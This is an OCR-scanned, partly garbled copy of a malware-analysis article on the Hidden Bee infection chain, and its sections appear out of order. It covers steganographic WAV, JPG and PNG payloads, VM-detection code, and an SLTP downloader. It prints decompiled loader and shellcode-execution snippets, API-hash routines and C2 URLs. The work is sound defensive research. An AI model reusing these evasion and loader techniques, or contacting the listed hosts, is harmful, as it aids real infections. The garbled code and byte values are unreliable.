96| w10 = decode_memory(&unk_2435EC8); /7 "shlwapi.dll”
91| shlwapi_dll = LoadLibraryA(v1@);

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

9a| {

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 8& ((idl = decode_memory(&unk_2435DB4), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))Strstria)(vzl, Buffer, id1})// "55274-648-2673064-23950"

115 || (id2 = decode_memory(&unk_2435088), ((int (_ thiscall *){int, WCHAR *, | *))StrstrIa)(v23, Buffer, id2))// "76487-644-3177837-23518"
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

é?_ﬁ 262 200 HTTP [staticfencrypt.min.js 16 231 textfjavasc... iexplore:3588
% 263 200 HTTP [atatic/tinyjs.min.js 4215 textfjavasc... iexplore:3588
% 254 200 HTTP fisf=9a350%9il 111f1sjumgsvegssc.js 47 textfiavasc... iexplore:3538
@ 265 200 HTTP fuviewsfvggidjelblvvpn4sddfnsndgb8. himl 6928 textfjavasc... iexplore:3588
&¢¥ 266 200 HTTP /pubs/fartide. php?id=03e6c47cd44a9b6 2850276 7298 0eed 54 297 textfhiml; c... iexplore:3588
€¥267 200 HTTP fviews f4fmbfeatvdt9f1203vunbhtrrd. html 419 textfhiml; c... iexplore:3583
268 200 HTTP fuiews if3dpqdips luavrjansfv4s.sw 115972 application/... iexplore:3538
ﬂ 269 200 HTTP fuiewsmarihvktfuceslgohkirOoels, wav 35852 audiofwav iexplore: 3588
ﬂ 270 200 HTTP fuiews nb3r4idp77lgol Phasdhadtcopg. wav 43 852 audiofwav iexplore: 3588
I:l 27 200 HTTP fuiewsphgmaan2s58h6mm5d2 1ehfchgs. jpg 157 590 image fjpeg dllhost: 544
HTTP fimages/captcha.png?mod=attachmentiu=ed 1Ib6cd 76c12 1c2d08a 15b6f8 2dc 1663 image/png regsvr32: 2948

The WAV files are downloaded by iexplore.exe, the browser where the exploit is run. In contrast, the images are
downloaded at later stages of infection. For example, the JPG is always downloaded from the dllhost.exe process.

The PNG is often downloaded from yet another process.

In some runs, we observed the PNG to be downloaded instead of the JPG:

73 200 HTIP  jviews/bd2286mdrgSssohkplrvm2uclg. swf 102 498 applicationx-shockwave-flash  iexplore: 1720 [#109]

[M74 302 HTTP  ffwiink/?LinkTd =68328 a msfeedssync: 3256 [#110]

€75 200 HTTP  jathomefcommunity/rss.xml 0 text/html msfeedssync: 3256 [#111]
HTTP  fviews/eBma3dui35Soq2ighrjcdmndvgs. wav audiofwav iexplore: 1720

Elv7 200 HrP Jfpubs/wiki.php?id=1ad51d 105 1a008deeea448cafccedsb3 a dlhost: 3332 [%113]

@78 200 HTTP ieonlinews.micosoft.com: 443 739 msfeedssync: 3256 [#114]
HTTP  fimages captcha.png?mod=attachmentiu=13103=e8e1ca2043405652a3d3ebchcd 26 707 imagefpng dlhest: 3332

We will start our journey of Hidden Bee analysis by looking at these files. Then, we will move to see the code

responsible for processing them in order to reveal their hidden purpose.

The roadmap of the full described package:
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SWF file #1 SWE file #2

WAV #1 E::> e |::> shellcode

download
¥ unpack an executable in a
custom
(0x10000401)
WAV #2 ::> format
- the CAB
downloader
| ‘ download
PNG JPG
a CAB containig rex
core.sdb package

! ¢

core.sdb unpacking :>
an executable in a shellcode
custom preload (shellcode)

{0x10000401)
farmat

coredllbin {NE" module

Downloading the next
stage

sltpuidns. howtocom.site:1108/minimal bin?id=098&
sltp/bbs.favcom.space:1108/5etup.bin?id=999

Irdx custom filesystem

The downloaded WAV

The WAV file sounds like grey noise, and we suspect that it is meant to hide some binary belonging to the

malware.

To RN L U (N T M T‘T"W'“F‘[F“"VYNWWW"‘I‘W“’T'WW""F’I"TT'

| | |
hlu_mlul.LLuMm.Lhn.JLMHM&MLIL..;J.MMJJLAL il d i) Lt it L Lo
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The data is unreadable, probably encrypted or obfuscated:

E kollildpsd uBotus8ldderhl mg.wav

Cffset(h) 00 01 02 03 04 05 06 07 08 09 0& OB OC OD OE OF

Q0000000 FE 49 46 46 D4 BE 00 00 57 41 56 45 &6 6D 74 20 EIFFﬁI..WA?Efmt

Q0000010 10 OO0 OO OO0 01 OO0 O1 OO0 80 3E OO0 OO0 00 7D 00 00 ........ €x...} ..
00000020 02 00 10 00 &4 &1 74 &1 BO BE 00 00 BE 5B 87 BT ....data"I..q9[%-
Q00000030 49 9F 03 6E 39 13 7R SE 7B 82 5F 2D 1E C8& B2 D4 Ii.ng.zi{,_—.ﬁ‘é
00000040 69 8E 63 23 BD FA E2Z 87 CS A8 63 B3I ED 51 9B FO iZc# td:L ciiQ»d
00000050 1B 74 7D 7D E6 28 DC OD 1D 56 10 50 8E 1F 56 €9  .tire&(0..v.PE.VE
00000060 3C 5D B4 54 DS 14 03 11 4A 1F 15 69 7C 40 8C 07 <] TH...J..i|@s.
Q0000070 17 7B 46 DD 71 60 78 85 AR 3E TF C4 6A FE 00 26 .{F?q‘xm$>.ﬁj§.&
00000080 3E 43 06 94 16 24 2B D9 89 3B 02 21 92 E0 1R 48 >C.~.8+0%:.17%.H

We also found a repeating pattern inside, which looks like an encrypted padding. The size of the chunk is 8 bytes.

000OTAFO 18 71 &D 4A 3D 03 E4 C8 86 OF F5 BE &F CD EE 5A .gmd=.&Ct.d,oliz
00007BO0 13 06 54 TF 7A CE F9 9B SE 63 08 38 TA CE F9 9B ..T.zId»"c.8zId»

00007810 BEIEIECIRERE R SE €3 08 38 7A CE F9 9B [c.gzind c.gzid»

0000TB20 SE 63 08 38 7TA CE FO 9B S5E 63 08 38 7A CE F9 9B  “~c.8zid»*c.82zid»
00007830 5E 63 08 38 TA CE F9 9B 5E 63 08 38 7A CE F9 3B ~c.szid»~c.szid»
00007B40 5E 63 08 38 TA CE F9 9B 5E 63 08 38 TA CE F9 2B ~e.gzid»c.gzid:

This time, using the repeating pattern as an XOR key didn’t help in getting a readable result, so probably some

more complex block cipher was used.
The JPG

Below is a sample JPG, downloaded from the URL in the format: /views/[unique_string].jpg

In contrast to the WAV content, the JPG always looks like a valid image. (Interestingly, all the JPGs we observed
have a consistent theme of manga-styled girls.) However, if we take a closer look at the image, we can see that

some data is appended at the end.

Page 198 of 265



https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

Transformer | Headers | Textview | SyntaxWiew ||Image'l.|"|ew | HexView | WebView | Auth
Caching | Cookies | Raw | 3sON | xmL |

Format: JFEG
156 005 bytes

252w x 352h

1,76 bytes/px

96 dpi

Baseline
Subsample@4:2:0

APPO Data (22 bytes)
JFIF1.1]

DPI: 56

APP1 Data (Edf, 56 bytes)

MALFORMED: (EERGEbytes after final
|segment.

HuffmanTables: 4

Let’s analyze the JPG and try to extract the payload.

First, I opened the image in a hexeditor (i.e. HxD). The size of the full image is 156,005 bytes. The last 118,762
bytes belong to the malware. So, we need remove the first 37,243 bytes (156,005-118,762=37,243) in order to get
the payload.

] jpg_payload.bin

Cffset(h) 00 01 02 03 04 05 06 07 08 05 0OA OB OC OD QE OF

Q0000000 C4 97 86 9D OF 2A E4 ES FE E9 9D E6 33 BE DE A0 %—16.*&i§qté3w1
00000010 1D 1D E4 03 05 74 20 F3 FD DF 29 DD E& ED 20 BO ..&..T &yBRYEL °

00000020 3E 9B 91 GE 9D 96 02 F5 55 E9 ES ES ES ES ES ES »»'mt-.aUeiiiiil
00000030 9D E9 ES5 ES5 ES5 ES ES ES5 D4 25 A5 75 Ea 61 B3 Eo  eeiiiiiidsaneazs
00000040 ES5 E5 OD E1 E5 E5 ES EA E5 85 E9 BD 85 81 6E Do ii.diiiei &~ .m®
00000050 DS ES ES ES5 BE7 B4 BS B3 0D Rl ES ES ES 84 26 6 Oiii--pz.-iii.zn
00000060 Bl C1 E1 6E Al C1 E9 B3 6E 91 C1 E9 B2 &8 D9 E7 +han-Aséin Aé nlg

00000070 ER 52 E7 A7 A7 &6 1D R4 9% ED 66 1D BF 8& E6 66 eRgSSL.E™if.z3cf

The payload does not look like a valid code, so it is probably obfuscated. Let’s try the easiest option first and see

if there are any candidates for the XOR key. We can see that the payload has padding at the end:
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E Ipg_payload.bin

offsec(h) 00 01 02 03 04 05 06 O7 OB 09 OR OB OC OD OE OF
0001CFBO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiididifdifiifiii
0001CFCO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiididifdifiiiii
0001CFDO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiidiifdidiiiii
0001CFED E5 E5 E5 E5 E5 E5 E5 E5 ES5 ES iiidiiididii

Let’s try to apply the repeating character (in the given example it is 0xE5) as an XOR key. This is the result

(1953032199142ea8c5872107da8f2297):

@ out.kin

offset (h) 00 01 02 03 04 05 06 OT7 08 09 OR OB OC OD OE OF

00000000 EE=eD. . . \x.0%E
00000010 f¥.&f L..:18..10
00000020 Uretexsg.®onnn..
000000350 Hewennn 1RE. ..V
00000040 - S “.X'd¢5
00000050 0...RQPVED. . .al
00000060 T$.<DE.Vets. W<,
00000070 . ".BE.FRL|..¥Z...
00000080 & .-.FF.G&]..42.
00000090 A opws.pAch +A0
000000R0 AU<E.EL«E.5VI<D.
00000080 J1XSEfREIfRECERE

Repeating the experiment on various payloads, we can see that the result always start from the keyword !rcx . As

we know from analyzing other elements of Hidden Bee, the authors of this malware decided to use various custom

formats named after 64-bit Intel registers. We also encountered packages starting from

Irbx

and !rsi at different layers. So, this is the first element in the chain that uses this convention.

When we load the !rcx module into IDA, we can confirm that it contains valid code. More detailed explanation

about the

Irex

format will be given later on in this article.
The PNG

Let’s have a look at a sample PNG, download from the “captcha.png” (URL format: ):
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Transformer Headers | TextView Syntax\iew ImageView | HexView
WebView Auth Caching Cookies Raw 1S0M ¥ML

Format: PNG
26 707 bytes

B2w x 82h

3,597 bytes/px

96 dpi

Color: RGB+Alpha 8bits/sample

Autoshrink -

Although it is a PNG in a valid format, it looks like noise. It probably represents bytes of some encrypted data. An
attempt of converting PNG to raw bytes didn’t give any readable results. We need to analyze the code in order to

discover what it hides.

Code analysis: the initial SWF file

The initial SWF file is embedded on the website and responsible for serving the exploit. If we look inside it, we
will not find anything malicious at first. However, among the binary data we can find another suspicious WAV as

an audio asset:

U dts890lkung 1 AME36 A na 280 swT ~
|| header 1
=4 hinaryData
— | DefineBinaryData {1: MyAudioAsset)
— | DefineBinaryData (2: com.google_2F_war_2F_folders_2|
— 1 DefineBinaryData (3: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (4: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (5: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (6: com.goonle_2F_var_2F_folders_2l
— | DefineBinaryData (7: com.google_2F_war_2F_falders_2I
—a DefineBinaryData (8: com.gooale_2F _war_2F_folders_2I
The beginning of the file:
0ogaooaao 52 49 46 46 84 27 00 00 57 41 56 45 66 6D 74 20 RIFF " WAVEImEt
00000010 10 00 00 00 01 OO 01 00 B0 3E OO 00 00 7D OO 40 > 1
00000020 02 00 10 00 €4 61 74 61 &0 27 00 00 D4 12 EB D1 data ™" [v] &N
00000030 Bl 93 BAR C1 CB 21 587 1F 5C D1 4% S5F 80 75 R8 &7 “« FAE - \ﬁI_ u " g
00000040 5C B2 23 7C A9 F§ 36 SE 04 DD 37 D7 75 2B 10 1B W, # 1 ®8 8 ¥ 7 xu+
00000050 88 B4 BA C1 EB 22 73 64 EB7 BO 1D B8R 48 1n E1 38 " - fhE"sdi " 3 H g 8
00000080 L2 03 D4 27 54 SE F3 CB 46 F& 04 86 86 4F RS 25 ] Gr'1IT~0EFa 0¥ 3

This SWF file also contains a decoder for it:
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749 puklic static functicn Init({paraml:Displaylbjectlontainer) : woid
80 {

a1 var _loc3i_:5tring = null;

a2 var _loc4 :5tring = nmull:

a3 var _locS_rint = 07

a4 var _loct :ByteArray = null;

85 var _locT_:ByteArray = null:

26 var _loc2 :* = paraml.loaderInfc.parameters:

87 doc = paraml;

il platform_ = _loc2_["platiorm”]:

g if(platform_ == null)

a0 {

91 platform_ = "";

92 }

93 userhAgent = unescape( locd ["user”"]);

94 if (ExternalInterface.available)

a5 {

96 try

97 {

98 _loc3_ = .parent.AppUtils.getToken™) ;

Externallnterface.call {"parsent
95 _locd = ExternalInterface.call ("getialt

rent.AppUtils.getAppId™);

100 _loch_ = ExternalInterface.call ("Darent.p
101 _loce_ = setup(_loc3_ + _locd )

102 _loc7_ = new Myfmdiohsset() a3 BytehArray;
103 loader = decode(_loc7_, locé , locS , onMovieLoaded):
104 return;

105 }

1046 catch{e:Error)

107 {

108 return;

109 }

110 !

The function “decode” takes four parameters. The first of them is the byte array containing the WAV asset: That is
the content to be decoded. The second argument is an MD5 (the “setup” function is an MD5 implementation)
made of concatenation of the Appld and the AppToken: That is probably the encryption key. The third parameter

is a salt (probably the initialization vector of the crypto).

The salt is fetched from the HTML page, where the Flash component is embedded:

[=] F5miiSngsdgSpbfbe2i2if Bt4 html E3 |

1 <html>

2 <body>

3 <script tyvpe="text/javascript">

4 = function getSalt () {

& return "1mQREFFGabdecdaB";

6 r }

7 - </script>

8 E <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">

